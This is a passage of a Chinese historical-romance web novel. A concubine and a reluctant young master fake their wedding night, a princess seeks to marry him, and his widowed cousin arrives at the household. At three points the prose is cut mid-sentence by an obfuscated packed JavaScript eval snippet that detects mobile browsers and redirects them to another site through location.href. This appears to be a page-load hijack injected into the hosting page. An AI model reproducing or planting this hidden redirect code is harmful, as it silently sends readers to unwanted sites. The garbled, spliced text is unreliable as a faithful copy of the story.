出乎她意料的是方冉途已经在屋内等她。他换了一身暮山紫色道袍,腰间系玄色玉质腰带,配上他清冷的姿态,颇有几分仙人的气度。 “二少爷。”舒容看着他开口道。 方冉途意味不明地看了舒容一眼,开口道:“坐下来吃饭吧。” 屋内只有她和方冉途二人,绿影被康平拦在了门外。 看着满满一桌珍馐,舒容心中直道可惜,仙人饮花啜露,这满桌菜注定只有她一人独享。 为了做足样子,刚坐下舒容就满脸笑容地开口道:“不知二少爷喜欢吃什么菜,舒容为您布菜。” “不必了,你自己吃就好。”方冉途冷声回应。 舒容乐得自在,她先前吃了桃花酥现下并不太饿,饶是如此她也吃了一碗米饭。不知道怎么回事,何夫人今天准备的这顿饭分外合她胃口。她现下在府中的分例是按照姨娘来的,每顿是两荤两素,偶尔何夫人会赏赐些吃食过来,却也不似今天这般丰盛。 舒容沉浸在美食之中,一时忘了旁边坐着方冉途。他没什么胃口,只夹了面前的一盘菜,慢慢吃着等舒容吃完。桌上有何夫人送来的一壶酒,谁都没有提起。 终于吃饱,舒容放下筷子,柔声道:“二少爷,我吃好了。” 方冉途也随即放下筷子,起身唤人进来收拾。 等菜都撤下后,屋里又回到寂静中。吃饭时刚过黄昏,现在也离人定的时候也还早。两个人都站着,彼此离了有好几步远,气氛死一般宁静。舒容想随便说点什么打破这种境况,对方却先开口了。 “我先去书房,晚点过来。”说完他便快步离开。 舒容等他走了一会儿,也出门唤绿影进来陪她聊天。她和绿影有一搭没一搭地聊着,很快到了二更,方冉途还没有回来,张嬷嬷却来了竹香院。舒容明白张嬷嬷这是何夫人安排过来监视他们的。 在张嬷嬷的安排下,舒容沐浴更衣,方冉途也被张嬷嬷从书房里请了出来。 再一次,屋子只剩他们二人,两人都沐浴后穿着单薄的寝衣。 舒容坐在黄花梨木的架子床边,侧身看到床中央铺的一张白色丝绸方巾,舒容心中无语。 又见方冉途站在屋中间迟迟不肯挪步到床边,心中不觉有些好笑,看来有关方二少爷的传言并非无稽之谈,恐怕其中真有些不得人知的缘故。 舒容枯坐了有一炷香时间,她觉得没穿外衣有一些冷,怕又得一场风寒,便对着方冉途开口道:“二少爷,我们安歇吧。” 方冉途没有回应她,拿起灯台旁边的剪子将灯芯剪了一截。 过了片刻功夫,屋外传来张嬷嬷的声音,“时候不早了,二少爷安歇吧。” 方冉途迟疑了好一阵儿,才吹灭那盏烛台拖着艰难的步子往床边来。 靠近床头的蜡烛并未熄灭,舒容在方冉途的脸上看到视死如归的表情,她突然想戏弄一下他。 舒容一边伸手缓缓解开衣襟,一边尽可能用妩媚的声音道:“二少爷,奴婢给您更衣。” 刚说完这话,方冉途竟一下子止住步子,停在了原地不动。 舒容觉得他随时有夺门而出的冲动,她却不能让他这么做。她现在的身份是方二少爷的通房,何夫人对她好也是因为她是张道士算出来的人选,是能够解决他儿子断袖流言的人。她是方府的家生子,在没有脱离奴籍之前,她必须在方府好好过下去。 舒容起身把衣服穿好,平静地看向方冉途,开口道:“二少爷,请您过来,舒容有话要说。” 方冉途被舒容突如其来的反差弄得有些摸不着头脑,见她神色认真,犹豫着走到她面前。 “你想说什么?”离得太近,他能闻到舒容身上同他一样的皂角香气,她穿着白色寝衣,一头浓密的青丝松松挽起,几缕发丝垂到胸前。一双柔情似水的眼睛在烛光下更显得魅惑,他不敢再看她,别过头看着新换床帐上的石榴图案。 舒容见他神情不安,越发坐实自己的猜想,她开口道:“二少爷既然不喜欢我,我们不必圆房,只是为了太太安心,我们可以装装样子,让人觉得我们已经圆房,二少爷意下如何?” 听到她的话,方冉途有些吃惊,审视地垂眼看面前的女子,不多时后开口道:“好。” “那便有劳二少爷今夜配合我。”舒容对他的回答毫不意外。 舒容熄灭蜡烛和方冉途和衣躺在床上,方冉途睡在里面她睡在外面。 这张架子床宽大,两个各睡一边,中间都还能睡下两个人。二人各枕一个枕头,方冉途恨不得能把自己贴到墙壁上,即便如此他还是觉得有些呼吸不畅,整个床帐中都是舒容的味道。 听到方冉途克制的呼吸声,舒容把身子又往外挪了些,“二少爷,我不会挨着你的,你不用担心。” 听闻此言,方冉途没有说话,他躺平身子,眼睛望着漆黑的床帐。 见他放松了一些,舒容又道:“二少爷,现在你按照我说的做。我们一起活动下手脚。” 舒容说完就拉着一旁的床帐在床上做起了仰卧起坐,故意制造出声响。方冉途听到响动,明白她的意图也配合着晃动床榻。 守在寝房外的张嬷嬷,满意点头离去,吩咐守夜的小厮听着屋里叫水。她今夜不打算回采晖堂,便跟着绿影在桂馨院挤上一夜。 在差不多一盏茶功夫后,舒容终于喊停,“二少爷,时间差不多了,再等一会儿你就叫水进来。” 断断续续做了两百个仰卧起坐后,舒容累出了一身汗,说话也带着喘气的声音。 方冉途脸上也出了层薄汗,他低声应道:“好。” 又过片刻,方冉途叫水,两人重新洗漱后再次躺下。 经过这番折腾舒容已经十分困乏。虽然身边睡了一个陌生男子,她却不怎么担心,因为对方似乎更担心自己的贞洁被她所毁。她声音慵懒地说道:“二少爷,早些歇息吧。” 说完便裹着被子闭上眼沉沉睡去。方冉途听到床的另一头呼吸平和绵长,他知道舒容已经睡着。他却迟迟无法入睡,闭上眼睛就想起刚刚起床时他一不小心绊到被子差点整个人摔倒在舒容身上。虽然他及时用手撑住身体,但他与舒容的脸彼时不过隔了一个手掌的距离。 他清楚看到她一瞬间震惊的表情和随即而来的调笑,虽然她没有笑出声,但从她的眼神中他分明感受到了调笑的意味。方冉途觉得自己像被人调戏的良家子,而舒容就是那横行无忌的浪荡人。想到这里,他脸色绯红,心跳也不由地加快。 舒容对这一切一无所知,她美美睡了一觉,赶在下人们服侍前醒来。她睡姿向来很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143188|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,一觉醒来仍然睡在床边,没有去打扰方二少爷。她坐起身借着窗外漏进来的天光打量他的容颜。美人在睡觉时也是美的,额前的一缕发丝贴在他白皙如鲜荔枝的脸庞上。十七岁的少年郎是掐得出水的鲜嫩。 舒容记得自己第一次喜欢一个人的时候也在十七岁,那会儿课业繁忙倚着教学楼的栏杆吹风,穿着白衬衫的少年怀里抱着书从操场经过,那时候就一眼心动。舒容想着翩翩少年度过了剩下的高中时光。后来时隔几年,再次遇见他,对方已经是在酒桌上大谈特谈人生感想的所谓成功人士,舒容对爱情的理想泡泡就此幻灭。 似乎是察觉到自己炽热的目光,方冉途睁开眼醒了过来。 舒容从床中间扯起那张白色绸布,朝方冉途扬了扬手,笑着说道:“二少爷,还有最后一步。” 她拔下自己头上戴的那枚银质梅花簪,那梅花的其中一片花瓣她特意用磨刀石磨了半晌,锋利异常。舒容把身下的被子推到床尾,将白色绸布重新铺好,掀起自己左手手臂的衣袖准备划上一道。 见她拿簪子靠近自己的手臂,方冉途突然明白过来她要做什么,情急之下他伸手拉住舒容握住簪子的右手,出声道:“划我的吧。” 舒容对她突如其来的举动感到有些暖心,她拨开他的手,说道:“不用了。” 说完便用花瓣在她细腻白嫩的手臂上划出一道血痕,舒容用另一只手挤压伤口,让血尽数滴到白丝绸布上。感觉差不多合适,舒容从枕头下拿出昨天准备好的一块素白手帕。 “二少爷,请你帮我包扎一下。我一只手不大方便。”舒容把手帕递给方冉途。 方冉途从舒容的手中接过手帕,仔细地用手帕在她纤细的胳膊上缠绕然后打结。期间手指无意中碰到舒容的肌肤,他吓得包扎完便立马缩回身子,时刻注意保持和舒容之间的距离。 “多谢二少爷。”舒容笑道。她放下衣袖,又将白色绸布铺到床中心,扯回床尾的被子盖在身上,接着躺下来等着张嬷嬷敲门。 见方冉途准备起身,舒容柔声道:“二少爷别急,再等等。” 方冉途没说话却停止了动作,他侧身看向舒容,她正仰面平躺,双眼紧闭,纤长的睫毛卷起好看的弧线。他知道她只是闭眼假寐,他重新转身脸朝着墙壁。他昨夜没有睡好,此刻正有些困意,还不待进入梦乡屋外就传来康平的声音。 “二少爷,时辰到了,该起床洗漱了。”康平在外面喊道。 “进来吧。”方冉途一面朝外面说道,一面起身。有了昨晚的经验教训,他这次小心地跨过舒容没有再绊到。 张嬷嬷进来就看到这幅景象,二少爷洗漱完毕,舒容还在床帐掩映下睡觉。 “嬷嬷,我先上值去了。舒容还在睡觉,等她睡吧。”方冉途朝张嬷嬷说道。 张嬷嬷见他红润的气色,会心一笑,一行人收拾好,出了门。 舒容又睡了小半个时辰才起身,绿影伺候她梳洗好。张嬷嬷看见凌乱的床榻一脸满意的样子,拿走了元帕,对舒容道:“太太让你今日好好休息,不必往采晖堂来。” 回到桂馨院,舒容吃过早食便躺在躺椅上晒太阳。春天的阳光照得她浑身暖洋洋,如今已坐实通房身份,她便要拣起自己的事业了。她要尽可能多攒钱,以备不时之需。 8. 明华郡主 方冉途在翰林院中一直心绪不宁。他想起昨晚发生的一切,想起舒容平静地和他商量,她对房中事丝毫不避讳并且看起来颇懂其中之道。她的行事不似寻常女子,不知道她只是为了讨好母亲能在方府立住脚还是有别的打算。 他一时想得入神,不慎将桌上的茶水打翻,幸好桌面上没有要紧的文书,他三两下收拾干净。 背后却传来一道嘲讽的男声,“方编修的魂儿跑哪儿去了,怕不是落在翠云馆吧。” 方冉途冷冷看他一眼,并未出声驳斥。这人是和他同科的状元骆简弋,和他一同被皇上钦点为翰林院编修。对方出身地方小官之家,认为自己状元之材被皇帝安放在这个位置是屈才,方冉途区区一个进士被放在这个位置则是因为家世得到的封荫。因此他处处看不惯方冉途这个世家子。 “骆简弋你嘴里胡吣些什么,圣上昨日骂你做事不用心,你不好好反思己过,倒是在这里信口开河。若再被我逮到我必去圣上面前参你一本。” 身穿一身红色官服的褚炤一脸正义地对骆简弋骂道。褚炤是端阳公主之子,在翰林院挂名做个庶吉士,他家世硬气说话也硬气,加上为人落拓不羁,翰林院里没人敢在他那里找不痛快。 骆简弋没再说话,转身出了门。 褚炤走到方冉途面前,看着他这位好友,“你呀就是脾气太好,有些人就是欠骂,你不教训一下对方还以为你怕他呢。” 方冉途没抬头继续整理文书,语气温和地说道:“只是懒得与他多费唇舌罢了。” “行,你怕麻烦我不怕,小爷我就喜欢说实话,以后谁骂你我都帮你骂回去。” 方冉途抬头看他一眼,笑道:“那就多谢褚大公子仗义执言。” 褚炤看着他笑意盈盈的双眼,感叹道:“幸亏我是个男子,我要是个女子哪里抵得住你这么对我笑。” 下值后,方冉途和康平来到城西广福街,这条街上的天香楼是京城里有名的糕点铺子。康平说天香楼新出了一款山楂枣糕,他便想着给母亲带点回去。 广福街人多拥挤,街道狭窄,方冉途便让康平在街口守着马车,他自己走去天香楼。 刚买完东西准备回转便看见一个小贼手里拿着东西朝他的方向跑过来,他一伸脚让跑得飞快的小贼狠狠摔上一跤。那小贼怕被人抓住也顾不得捡起赃物,拔腿就往附近小巷子里跑。 方冉途拣起小贼摔在地上的东西,是一块做工精致的双鱼汉白玉佩。他料想失主就在附近,便站在原地等失主。不过半盏茶功夫,就有两个姑娘出现在附近,似乎在急急忙忙找着什么。 “姑娘在找什么东西?”方冉途上前问话。 “我家小姐的玉佩丢了,就刚才被个穿蓝衣服的小贼偷走了。”丫鬟模样的姑娘说道。 “什么模样的?”方冉途又问。 “双鱼形状,汉白玉的。”那姑娘道。 方冉途把玉佩从袖袋里拿出来,递给对方。“可是这块玉佩?刚刚我见那贼人拿着东西慌慌张张往前跑,伸脚把他摔了一下,在地上捡到了这玉佩。” 丫鬟拿过玉佩,连声称谢。这玉佩是郡主十七岁生辰时世子特地命人打造的,若是弄丢了,她们这些底下人免不得受一遭责罚。 方冉途物归原主就准备离开,刚走两步便听见一个女声唤他。 “公子留步。” 他抬头看便见迎面不远处走来一个衣着华美的年轻女子,那女子左脸颧骨处有一颗黑痣甚为醒目。他略微想了想,认出对方正是赵王府的明华郡主韩瑟瑟,他曾在宫内与她有过一面之缘。 “下官参见明华郡主。”方冉途恭敬行礼。 “免礼,方才多谢方大人出手相助。”韩瑟瑟看着方冉途微笑回道。 听说方冉途避女子如蛇蝎,而今日却肯为了她与贼人打斗,她心中得意起来,面上仍是高雅大方的模样。 “郡主,下官还有事,先行一步。” “今日回去后我备薄礼一件到贵府还望方大人务必收下。”韩瑟瑟说道。 “举手之劳,郡主不必放在心上。”方冉途推辞道。 “方大人不必推辞,你既还有要事就先走吧。”她柔情脉脉地看着方冉途说道。 她可不会错过和方冉途这个玉面郎君更进一步的机会,虽然方家的门楣配不上赵王府。可谁让方冉途刚好合她眼,今日回去她便让母妃从中撮合此事。 方冉途行礼后告辞。到马车时,康平正站在马车跟前焦急张望,看他过来,便道:“二少爷,天香楼人很多吗?早知道该我去买的,让您等了这么久。” “无事,回府吧。” 采晖堂里,何夫人正在和方德言赏着昨日方德言从城南花匠处买的一盆宋梅。这盆宋梅花开得正好,三片绿色花瓣形似梅花挺立枝头,散发出淡淡的清幽香气。 “夫人,我这花买的不错吧?”方德言邀功道。 “好,夫君挑花的眼光一如既往的好。”何夫人不吝夸奖。 方冉途到时便看见父母两人如胶似漆的恩爱模样,“儿子见过父亲母亲。” “二郎回来了,快过来坐。”何夫人热情招呼道。 方冉途把山楂枣糕交给碧桃,坐在何夫人下首的位置。方德言对儿子突然出现抢走何夫人的目光感到不悦,说了句让方冉途注意身体便往前院去了。 “昨夜的事情我都听张嬷嬷说了,你和舒容合得来,娘很高兴。今后你可要好好对待舒容。三年后你娶了正妻,娘也是要提她做姨娘的。”何夫人对着方冉途语重心长地说道。 想起舒容的那双眼,不知道娘说的是不是她的所求。他点了点头。 何夫人留方冉途在采晖堂陪自己和夫君一起用晚膳。席间,赵王府送来谢礼,是一套上好的文房四宝,方德言夫妇才知道自己儿子今日在街上帮了明华郡主。赵王府与方府没有交集,何夫人便让康管家翌日送一份回礼到赵王府。 晚膳后,方冉途起身正准备回竹香院。康管家拿着一封信走了进来,“太太,是西平姨太太来的信。” 听到是姨母的信,方冉途又坐了下来,端起一旁的茶水假装饮茶。 何夫人打开信读了一遍,“你姨妈说你念鸿表姐最近身子弱,想来我们府上将养一段日子,等身体痊愈她再派人到京城来接她。” 方冉途强行压制住内心的喜悦,语气中却也难免有些兴奋,“姨妈可有说表姐何时来府?可要我们去洪府接人?” 何夫人察觉到他的高兴,只当他是和蒋念鸿亲睦,“你姨妈信上说念鸿得要过了亡夫七七才出府,另外还要处理嫁妆等事,估计还有一段日子才能过来。洪府那边到时候会派人送念鸿过来,不必我们去接。” “那表姐过来住在哪儿?”方冉途又问。 何夫人想了想,道:“辛夷院和落梅院倒都还空着。” “不如就落梅院吧,虽然现在梅花已谢,但青果挂满枝头。表姐身体虚弱,每日见些生气勃勃的果树,想来对身体痊愈有益。”方冉途随口诌了这些话,其实只有一个原因,落梅院紧挨着他的竹香院。 “你说得有些道理,那就落梅院,我让康管家着人去打扫出来,把里头缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143189|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西也及时添置了,等念鸿过来就能入住。” “母亲说得是。” “无事你便回去吧。我这里有几件首饰,是准备给舒容的。本来是想让张嬷嬷送过去的,你既然来了便一道带过去。” 张嬷嬷转身从内室拿出一个松花色锦盒交给康平。 “二郎,娘知道你私库里也有好些宝贝,你也挑上一两样送给舒容。若没合意的,便到外头买去。别小器了。”何夫人叮嘱道。 “是。” 回到竹香院,方冉途打开自己的私库,挑选了一盒珍珠,里头有九,十来粒,粒粒有莲子大小。昨日见她戴的是珍珠发饰,或许是喜欢珍珠的。接着就让康平把何夫人和他的赏赐一并送到桂馨院去。 “姑娘,康平来了。”绿影坐在桂花树下捉虫子玩儿,看见康平捧着东西过来就立刻进屋向舒容禀报。 舒容这会儿正在灯下学着绣花。 绿影那个小丫头学东西快,她娘是绣娘,两年时间里又在采晖堂跟着几个女红好的丫鬟学了新的针法,做出来的绣品阵脚细密花色得宜。舒容看见绿影自己绣的手帕,便央着绿影教她。 原身会织布却并不会绣花。她想着要是能学会绣花,也是能多门手艺,兴致来了可以自己做点小东西。 现代时她只接触过十字绣,那是直接按照机打出来的图案分线绣就好,现在虽然也有花样子,分线下针的难度却高上不少。她跟着绿影这个师傅练习了一天才堪堪掌握初步的针法。 “舒容姑娘,我送太太和二少爷赏赐的东西来了。”康平走进屋内,笑着说道。 舒容起身接过东西,看着手里的两个锦盒。 康平解释道:“这盒子里的珍珠是二少爷赏的,另外一盒的首饰是太太赏的。” “多谢康平你跑一趟。”舒容从袖袋里取出一钱银子递给康平,这银子是用她自己的一两月银绞的。 康平接过银子,扫了一眼桌子上舒容的绣品,开口道:“多谢姑娘赏赐,没有其他事我先回竹香院了。” 绿影看着康平走出桂馨院,她跑到舒容身边笑道:“姑娘,之前采晖堂的姐姐们都说康平长得黑黑的,有个绰号叫黑猴子。我之前一直不觉得,刚刚看他站在灯下真是有些像街头卖艺的猴子。” 舒容听着也笑起来,“好了,别说这个了。你把这两盒东西收好。” “姑娘你不打开看看?”绿影疑惑道。 “晚点再看吧,我先把这片叶子绣完,”舒容又拿起绣绷接着绣起来。她喜欢做事情一以贯之的感觉,讨厌做了一半就撂到一边。 绿影把东西放好,凑近看舒容的绣活,“姑娘,你绣的比早上好多了。” 舒容望着她笑道:“多亏绿影师傅教得好。” “姑娘说得我都不好意思了。”绿影羞涩地笑道。 翌日,赵王府里。 赵王妃李莲依正在后院的小池塘边观鱼,一身明艳装扮,满头珠翠的韩瑟瑟,拉着她娘的手撒娇道:“母妃,女儿真的喜欢方二公子,你就跟父王说说这事吧。” 李莲依无奈地看着女儿,“我们赵王府和他方家门不当户不对,你父王是有意把你许给永襄王府世子的。” 韩瑟瑟甩开李莲依的手,背过身去,“那韩存就是个草包,整日只知晓寻花问柳,父王怎么会看上这样的人。” 说着韩瑟瑟就委屈地抽泣起来,李莲依知道丈夫只是为了永襄王的兵权,她也不愿意为此让女儿赔上一生的幸福。她拿出手帕,温柔地给女儿拭去泪水。 “那娘便帮你试一试。” 9. 表姐来府 这日何夫人在采晖堂里查看府中账目,张嬷嬷在她旁边为自己即将出世的外孙做小衣裳。 康健安走到何夫人身边禀报道:“太太,兵部尚书府的徐夫人和户部侍郎府的周夫人来访,我已经把人请到前院偏厅了。” 何夫人和张嬷嬷同时停下手中的活计怀疑地看向康健安,何夫人有些不敢相信自己的耳朵,“康管家,你说徐夫人和周夫人?” 从她和夫君成亲后,二十多年了这两人可从来没有踏足过方府。 “是,太太。就是徐夫人和周夫人。”康健安又把话重复一遍。 “好,我知道了,你先派人上些茶水,我随后过来。”何夫人吩咐道,康健安领命离开。 “太太,这两人恐怕来者不善。”张嬷嬷担忧地说道,何夫人和这二位的事情她可知道得清清楚楚,这两人自打太太嫁来京城就对太太怀有敌意。 何夫人起身活动自己久坐而酸痛的脖子,“走吧,看看她们耍什么把戏。” 何夫人到的时候,徐氏和周氏正在窃窃私语,见何夫人走进来都安静下来。 “徐夫人,周夫人,什么风把你们二位吹来了?”何夫人开门见山道。 “自然是给何夫人报喜来了。”徐氏笑道。 何夫人在上首坐下来,看着下面的两只笑面虎,“不知何喜之有啊?” 徐氏翻了个白眼,脸上仍挂着笑:“方二少爷惊才绝艳,明华郡主倾心不已,赵王妃令我二人前来说媒。何夫人你说这是不是天大的好事?” 明华郡主?她看上了我家二郎?莫不是前些日子二郎在街上出手相助的缘故?世人都道明华郡主张扬跋扈,赵王妃的女婿又岂是那么好当的。 “多谢郡主和王妃抬爱,只是我家二郎命中带煞,三年内皆不可成亲。京城里好儿郎甚多,我家二郎不值得郡主空耗青春。还是请王妃为郡主另择佳婿。”何夫人惋惜地说道。 “何惟月你什么意思?”周氏站起身指着何夫人生气地问。 “是呀,莫非何夫人觉得明华郡主配不上贵府二少爷?”徐氏也帮声道。 “方府绝无此意,明华郡主是多少人家求之不得的高门贵女,只是我家二郎有煞确有其事,否则我家二郎现已十七为何迟迟没有与人议亲,皆是因为不想耽搁姑娘,也怕这煞气有所牵连。”何夫人说得认真。 徐氏和周氏对看一眼,眼神中都是对此事的怀疑。怎么刚巧就有煞,莫不是何惟月现编出来敷衍她们的。 “二位若不信,可以去集雨巷找那张道士打听打听。上次刘大人府中贺寿,你们都看出来我想抱孙子,可二郎如此这般,我也决计不能害了对方姑娘。”何夫人语气诚恳,又掏出手绢假意拭泪。 见这个老对头如此模样,徐周二人心头疑虑消了大半。她们本也不想方府搭上赵王府这条线,若不是受赵王妃所托,她们才不愿意和方府有所牵连。 “既然如此,我们便回去禀明王妃。”徐氏站起身对何夫人道。 周氏也跟着她起身。 “多谢二位夫人理解,还望二位夫人在王妃面前把此事说清楚,我们方府万没有不敬的意思,只是怪二郎这个不争气的命数。”说着何夫人还抽泣起来,眼中盈盈能见泪光。 徐氏心中得意,没想到你何惟月也有如此境地,“何夫人,我们就先行告辞。” “嗯,康管家你替我送二位夫人出去。”何夫人挥手对康管家说道。 回到采晖堂,何夫人心中仍有些忧虑,赵王此人表面贤德,私底下结党营私,惯会使绊子。她家夫君好友就曾被他害过,好好一个户部侍郎被贬到地方去做个知县。 张嬷嬷看出何夫人的忧心,开解道:“太太说的都是实话,趁此事刚有苗头说开了也好,赵王府想必也不会因此记恨上咱家。京中都道明华郡主是不好相与的,二少爷若与她成亲,才是不妥。” “正是如此,我也不求二郎能娶个高门贵女助他仕途高升,我只盼着是个脾性好的,将来小两口和和美美过日子。” 午后,何夫人躺在躺椅上看话本。 珍珠过来说道:“太太,舒容姑娘来了。” 舒容走到近前给何夫人问安,“舒容见过太太。” 舒容穿着一身杏黄色百合花袄裙,头上簪着两只昨日何夫人送的珠钗。 “珍珠,去搬一张凳子来给姑娘坐。” 见何夫人合在一边的话本,舒容瞥见封面写的是《风流小姐夜会状元郎》,没想到何夫人喜欢的书是这个风格。 舒容在锦凳上坐下,何夫人端详她戴着簪子的模样,“好看,你正合适戴这样鲜亮的颜色。” 摸了摸头上的簪子,舒容笑道:“多谢夫人赏赐。” “你和二郎能好好相处,我心里就踏实了。”何夫人道。 此前说二郎是断袖的传闻现在可以不攻自破了,她家二郎并非不喜欢姑娘,只是没遇上喜欢的罢了。 舒容见何夫人高兴,便趁机提出自己的来意,“太太,舒容从小在庄子上长大还不曾逛过京城,不知道能不能让我出府去逛逛?” 舒容语气听起来小心翼翼,何夫人不由地心疼起来。她因是武将之家,家中对女子管教不严,她少女时期也时常纵马游街,好不恣意快活。后嫁到方府,因方府只有老太爷一个长辈,她嫁过来便做当家主母,也是从来没受过后宅的拘束。 “我们方府不是什么高门大户,没有女子定要拘在后宅的规矩。我给你一块府中令牌,你平时愿意出门逛逛就出门逛逛,也不必来请示我或者二郎,只是千万当心安全。” “谢谢太太。”舒容没想到何夫人如此通情达理,她本以为自己会费好一番唇舌。 “我记得桂馨院就临着府里的东侧门,你要出府从那里最为便捷。这京城地界大,能逛能玩的地方也多,你现在正年轻多长长见识也好。我年轻时最爱四处闲逛,如今上了年纪就惫懒了,一走动就浑身痛。” 张嬷嬷从屋里取来一块木质雕花令牌,上面刻着一个方字。何夫人拿过令牌交给舒容。 舒容双手接过令牌,脸上洋溢着快乐的笑容,“多谢太太。” “你笑起来真是好看。”何夫人对张嬷嬷夸着舒容。 张嬷嬷也附和道:“舒容姑娘的确容貌不俗。” 被两个女人这么夸,舒容有些不好意思,低头笑笑没有作声。 时间又快过半个月,舒容虽得了何夫人的准许,她却也只出去过四次。因为出门没有交通工具,她和绿影也只是把方府所在的城东略微逛了逛。好在她现在手里有上次明二宝赔的十两银子和方夫人给的月钱,她在书肆买了些文房四宝和一些流行的书籍,想先对这个世界的文化有个初步的了解。 舒容把桂馨院里另一间厢房布置成自己的书房,平时便在书房里看书或者作画。 绿影问她为什么会识字,她说自己爹爹教过她认字和画画,原身的父亲确实是会认几个字。绿影倒也没怀疑,舒容想着绿影聪慧便问她想不想识字,得到肯定回答后便拿一本三字经每日教她学上几个字。 竹香院里,方冉途正在库房里翻找东西,他推算蒋念鸿这几日就要到府,他想送一件器物给表姐赏玩。可惜翻找许久也没有合他心意的。 “二少爷,二少爷!”康平在屋外喊他。 “怎么了?”方冉途出声问道。 “洪府人送表小姐来府里了。这会儿太太正在大门口迎表小姐呢。” 康平脸上还浮着汗,二少爷让他盯着大门口,让表小姐到府即刻通知他,他已经守了两天,今天看到表小姐的马车一到便一路小跑回竹香院。 听到消息,方冉途也顾不得找礼物了,略微收拾番仪容便疾步往大门口去。 洪府下人将蒋念鸿主仆三人送到,便驾车离开。 蒋念鸿身着白色暗纹衣裙,腰间几一套素色锦带,头上插了两只白玉芙蓉簪,脸上未施脂粉,巴掌大的小脸我见犹怜。她本就身材高挑纤瘦,如今亡夫一去,又添了一重病,更是身形消瘦,如枝头新绽的娇花随便一场风就能将其轻轻折断。 “念鸿见过姨妈。”蒋念鸿向等在台阶下的何夫人问安。 何夫人见她瘦成这样子,心疼不已,笑道:“好孩子,一路上辛苦了,别在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143190|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门口吹风了,先进府来。” 说着便牵起蒋念鸿的手往府中走,“姨妈接到你母亲的信,就把你要住的落梅院叫人收拾出来,你先在我院子里略坐坐,等丫鬟布置好你再过去。” “是,念鸿听凭姨妈安排。”蒋念鸿回道。 “映雪,凝霜你们先到落梅院去放置东西。”蒋念鸿对身后的两名丫鬟说道。 映雪,凝霜是一对孪生姐妹,样貌相似,皆是杏眼塌鼻梁,只是映雪的身量较妹妹凝霜高出半个头。她们是从小服侍在蒋念鸿身边的贴身丫鬟,蒋念鸿嫁入洪府,她们也作为陪嫁丫鬟一同进入洪府。 方冉途在采晖堂的偏厅里等得心中焦急,他迫不及待地想要立马见到表姐,一双眼睛不住地看向门口的方向,眼神不再是坚冰而是消融的春水,满是柔情和希冀。 康平从未在二少爷的脸上看到过他如此开心的样子,而且是为了等一个女子。不过他并未往男女之情的方面去想,他记得在二少爷十二三岁的时候表小姐曾经和姨太太在方府住过一段时间,二少爷对这位表姐当时就很喜欢。 方冉途终究是坐不住,起身往大门口走去,刚走出不远就看见母亲挽着表姐出现在面前。看见表姐的一瞬间,他觉得血液都凝滞了,心心念念的人如今就站在他面前。他痴痴地望向蒋念鸿,一时间就定在原地也忘记了说话。 “二郎,你这孩子,见到表姐也不问好。”何夫人嗔怪道。 蒋念鸿看着比记忆中高了不少的方冉途,笑道:“表弟可是不认得表姐了?” 听到蒋念鸿温柔的声音,方冉途方才收敛神色,面上仍做出平时的样子,用温文尔雅的声音向蒋念鸿问好,“冉途见过表姐。” “走吧,到屋里说话。”何夫人挽着蒋念鸿越过方冉途往偏厅离去,方冉途侧身给她们让步也跟在她们身后往屋里走。 表姐一身素衣,仍是他心中最美的样子,只是清减了几分。 方冉途心中有许多话想要和蒋念鸿讲,如今见了真人,却一句话也说不出来,只听着何夫人跟蒋念鸿寒暄。只是眼神始终没有离开过蒋念鸿,她的一颦一笑他都看在眼里,不想错过分毫。 “念鸿,不知道你在洪府用的什么药?姨妈看你有些体弱,我们府上常来看诊的赵大夫医术甚是不错,不如我明日请他来为你诊治一番。”何夫人关心地问道。 “多谢姨妈为念鸿担心,只是先不必请大夫,我在洪府常看的大夫也为我开了一个月的药,我先将这一个月的药吃了看看疗效如何。” “好,那就先这样吧。你姨父还不曾下值,我着人去落梅院看看有什么需要的添置的,你现在我这儿休息,等你姨父回来,咱们一同吃了晚食再送你过去。你看如何?”何夫人笑着问道。 蒋念鸿温婉一笑,“但凭姨母安排,只是念鸿在恐怕要在姨母这儿叨扰好一阵子,姨母可不要嫌弃念鸿。” 何夫人往蒋念鸿白嫩的小手上轻轻一拍,“你说的什么话,姨母巴不得你来府里住呢。你倒是不要觉得不好开口,若有需要的尽管给我说,不要见外了。” “嗯,念鸿晓得的。” 吃过晚食后,方冉途便陪着蒋念鸿回了落梅院,蒋念鸿都进去许久,他还站在门口迟迟不肯离去,略带寒意的春夜晚风吹得他衣袂飘飘。 康平下午跑热了便将外头套的半袖氅衣脱去只穿着一层薄薄的直裰,现在被夜风吹得浑身发冷,“二少爷,表小姐进去好久了,咱们也该回去了。” 